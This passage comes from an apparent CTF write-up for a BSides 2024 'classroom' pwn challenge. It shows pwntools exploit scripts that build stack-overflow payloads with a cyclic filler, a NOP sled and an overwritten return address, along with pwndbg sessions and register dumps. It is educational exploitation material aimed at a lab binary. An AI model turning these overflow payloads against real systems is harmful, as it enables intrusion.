<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># `Well, maybe a last one and then we finish!`                           prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>      <span class="c1"># send payload2
</span>
<span class="c1"># flag = io.recvall()
# log.success(flag)
</span><span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Our updated <code class="language-plaintext highlighter-rouge">sploit.py</code> with the addition of some <code class="language-plaintext highlighter-rouge">print</code> statements for debugging is as follows:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>

<span class="c1"># Set up pwntools for the correct architecture
</span><span class="n">exe</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">EXE</span> <span class="ow">or</span> <span class="s">'./classroom'</span><span class="p">)</span>

<span class="c1"># Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
</span><span class="n">host</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">HOST</span> <span class="ow">or</span> <span class="s">'192.168.13.37'</span>
<span class="n">port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">PORT</span> <span class="ow">or</span> <span class="mi">8000</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">start_local</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Execute the target binary locally'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Connect to the process on the remote host'''</span>
    <span class="n">io</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">io</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Start the exploit against the target.'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_local</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
tbreak main
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments
</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># shellcode placeholder
</span>
<span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">0</span><span class="p">:</span> <span class="n">shellcode</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">cyclic</span><span class="p">(</span><span class="mi">92</span><span class="p">),</span> <span class="n">length</span><span class="o">=</span><span class="mi">92</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload1</span><span class="p">))</span>

<span class="n">payload2</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">136</span><span class="p">:</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40090c</span><span class="p">)</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">nop</span><span class="p">()),</span> <span class="n">length</span><span class="o">=</span><span class="mi">400</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload2</span><span class="p">))</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
</span>
<span class="n">pause</span><span class="p">()</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># receive everything and wait for prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>  <span class="c1"># send payload1 at the `Is everything clear? (y/n)` question
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># continue receiving and sending data until the 5th question 
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># `Well, maybe a last one and then we finish!` prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>      <span class="c1"># send payload2
</span><span class="n">flag</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="c1">#io.interactive()
</span></code></pre></div></div>

<p>We are setting a breakpoint right before the 5th question <code class="language-plaintext highlighter-rouge">read()</code> in the <code class="language-plaintext highlighter-rouge">kinder()</code> function</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">gdb</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="n">kinder</span>
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">kinder</span><span class="p">:</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
   <span class="mh">0x0000000000400a32</span> <span class="o">&lt;+</span><span class="mi">226</span><span class="o">&gt;</span><span class="p">:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x80</span><span class="p">]</span>
   <span class="mh">0x0000000000400a36</span> <span class="o">&lt;+</span><span class="mi">230</span><span class="o">&gt;</span><span class="p">:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x14c</span>
   <span class="mh">0x0000000000400a3b</span> <span class="o">&lt;+</span><span class="mi">235</span><span class="o">&gt;</span><span class="p">:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400a3e</span> <span class="o">&lt;+</span><span class="mi">238</span><span class="o">&gt;</span><span class="p">:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x0</span>
   <span class="mh">0x0000000000400a43</span> <span class="o">&lt;+</span><span class="mi">243</span><span class="o">&gt;</span><span class="p">:</span>   <span class="n">call</span>   <span class="mh">0x400740</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">@</span><span class="n">plt</span><span class="o">&gt;</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">b</span> <span class="o">*</span><span class="mh">0x0000000000400a3e</span>
</code></pre></div></div>

<p>In a seperate terminal run <code class="language-plaintext highlighter-rouge">sploit.py</code></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>python3 sploit.py LOCAL
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE <span class="o">(</span>0x400000<span class="o">)</span>
    Stack:    Executable
    RWX:      Has RWX segments
/home/kidd/Desktop/WORK/bsides24/pwn/sploit.py:63: BytesWarning: Text is not bytes<span class="p">;</span> assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  payload1 <span class="o">=</span> fit<span class="o">({</span>
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  │iaaa│jaaa│kaaa│laaa│
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 61  │qaaa│raaa│saaa│taaa│
00000050  75 61 61 61  76 61 61 61  77 61 61 61               │uaaa│vaaa│waaa│
0000005c
<span class="o">[</span>DEBUG] cpp <span class="nt">-C</span> <span class="nt">-nostdinc</span> <span class="nt">-undef</span> <span class="nt">-P</span> <span class="nt">-I</span>/home/kidd/.local/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
<span class="o">[</span>DEBUG] Assembling
    .section .shellcode,<span class="s2">"awx"</span>
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        nop
<span class="o">[</span>DEBUG] /usr/bin/x86_64-linux-gnu-as <span class="nt">-64</span> <span class="nt">-o</span> /tmp/pwn-asm-aznj2u87/step2 /tmp/pwn-asm-aznj2u87/step1
<span class="o">[</span>DEBUG] /usr/bin/x86_64-linux-gnu-objcopy <span class="nt">-j</span> .shellcode <span class="nt">-Obinary</span> /tmp/pwn-asm-aznj2u87/step3 /tmp/pwn-asm-aznj2u87/step4
00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
<span class="k">*</span>
00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
<span class="k">*</span>
00000190
<span class="o">[</span>+] Starting <span class="nb">local </span>process <span class="s1">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>: pid 33577
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Paused <span class="o">(</span>press any to <span class="k">continue</span><span class="o">)</span> <span class="c">### attach the debugger at this point</span>
</code></pre></div></div>

<p>In the <code class="language-plaintext highlighter-rouge">pwndbg</code> terminal</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn $ gdb -q ./classroom
Poetry could not find a pyproject.toml file in /home/kidd/Desktop/WORK/bsides24/pwn or its parents
pwndbg: loaded 157 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./classroom...
(No debugging symbols found in ./classroom)
------- tip of the day (disable with set show-tips off) -------
GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls
</code></pre></div></div>

<p>Attach to the process</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">attach</span> <span class="mi">33577</span>
<span class="n">Attaching</span> <span class="n">to</span> <span class="n">program</span><span class="o">:</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="p">,</span> <span class="n">process</span> <span class="mi">33577</span>
<span class="n">Reading</span> <span class="n">symbols</span> <span class="n">from</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">libseccomp</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">...</span>
<span class="p">(</span><span class="n">No</span> <span class="n">debugging</span> <span class="n">symbols</span> <span class="n">found</span> <span class="n">in</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">libseccomp</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">)</span>
<span class="n">Reading</span> <span class="n">symbols</span> <span class="n">from</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">6</span><span class="p">...</span>
<span class="n">Reading</span> <span class="n">symbols</span> <span class="n">from</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="p">.</span><span class="n">build</span><span class="o">-</span><span class="n">id</span><span class="o">/</span><span class="mi">2</span><span class="n">e</span><span class="o">/</span><span class="mo">01</span><span class="mi">923</span><span class="n">fea4ad9f7fa50fe24e0f3385a45a6cd1c</span><span class="p">.</span><span class="n">debug</span><span class="p">...</span>
<span class="n">Reading</span> <span class="n">symbols</span> <span class="n">from</span> <span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">...</span>
<span class="n">Reading</span> <span class="n">symbols</span> <span class="n">from</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="p">.</span><span class="n">build</span><span class="o">-</span><span class="n">id</span><span class="o">/</span><span class="n">a9</span><span class="o">/</span><span class="mi">700083811</span><span class="n">ae36d1017fe16ebe5657d59cdda0a</span><span class="p">.</span><span class="n">debug</span><span class="p">...</span>
<span class="p">[</span><span class="n">Thread</span> <span class="n">debugging</span> <span class="n">using</span> <span class="n">libthread_db</span> <span class="n">enabled</span><span class="p">]</span>
<span class="n">Using</span> <span class="n">host</span> <span class="n">libthread_db</span> <span class="n">library</span> <span class="s">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="p">.</span>
<span class="mh">0x00007f4054f38a1d</span> <span class="n">in</span> <span class="n">__GI___libc_read</span> <span class="p">(</span><span class="n">fd</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="o">=</span><span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">nbytes</span><span class="o">=</span><span class="mi">96</span><span class="p">)</span> <span class="n">at</span> <span class="p">..</span><span class="o">/</span><span class="n">sysdeps</span><span class="o">/</span><span class="n">unix</span><span class="o">/</span><span class="n">sysv</span><span class="o">/</span><span class="n">linux</span><span class="o">/</span><span class="n">read</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">26</span>
<span class="mi">26</span>      <span class="p">..</span><span class="o">/</span><span class="n">sysdeps</span><span class="o">/</span><span class="n">unix</span><span class="o">/</span><span class="n">sysv</span><span class="o">/</span><span class="n">linux</span><span class="o">/</span><span class="n">read</span><span class="p">.</span><span class="n">c</span><span class="o">:</span> <span class="n">No</span> <span class="n">such</span> <span class="n">file</span> <span class="n">or</span> <span class="n">directory</span><span class="p">.</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
<span class="n">RAX</span>  <span class="mh">0xfffffffffffffe00</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f4054f38a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x60</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
 <span class="n">RSI</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R8</span>   <span class="mh">0xc000</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
 <span class="n">RBP</span>  <span class="mh">0x7ffe3275dae0</span> <span class="err">◂—</span> <span class="mi">1</span>
 <span class="n">RSP</span>  <span class="mh">0x7ffe3275dac8</span> <span class="err">—▸</span> <span class="mh">0x400ba0</span> <span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mi">104</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span> <span class="mi">0</span>
 <span class="n">RIP</span>  <span class="mh">0x7f4054f38a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span> 
 <span class="err">►</span> <span class="mh">0x7f4054f38a1d</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="o">&gt;</span>     <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span>     <span class="mh">0xfffffffffffffe00</span> <span class="o">-</span> <span class="mh">0xfffffffffffff000</span>     <span class="n">EFLAGS</span> <span class="o">=&gt;</span> <span class="mh">0x206</span> <span class="p">[</span> <span class="n">cf</span> <span class="n">PF</span> <span class="n">af</span> <span class="n">zf</span> <span class="n">sf</span> <span class="n">IF</span> <span class="n">df</span> <span class="n">of</span> <span class="p">]</span>   
   <span class="mh">0x7f4054f38a23</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">19</span><span class="o">&gt;</span>   <span class="err">✔</span> <span class="n">ja</span>     <span class="n">read</span><span class="o">+</span><span class="mi">112</span>                    <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">112</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x7f4054f38a80</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">112</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0xd7379</span><span class="p">]</span>     <span class="n">RDX</span><span class="p">,</span> <span class="p">[</span><span class="n">_GLOBAL_OFFSET_TABLE_</span><span class="o">+</span><span class="mi">624</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0xffffffffffffff88</span>
   <span class="mh">0x7f4054f38a87</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">119</span><span class="o">&gt;</span>    <span class="n">neg</span>    <span class="n">eax</span>
   <span class="mh">0x7f4054f38a89</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">121</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="n">fs</span><span class="o">:</span><span class="p">[</span><span class="n">rdx</span><span class="p">],</span> <span class="n">eax</span>
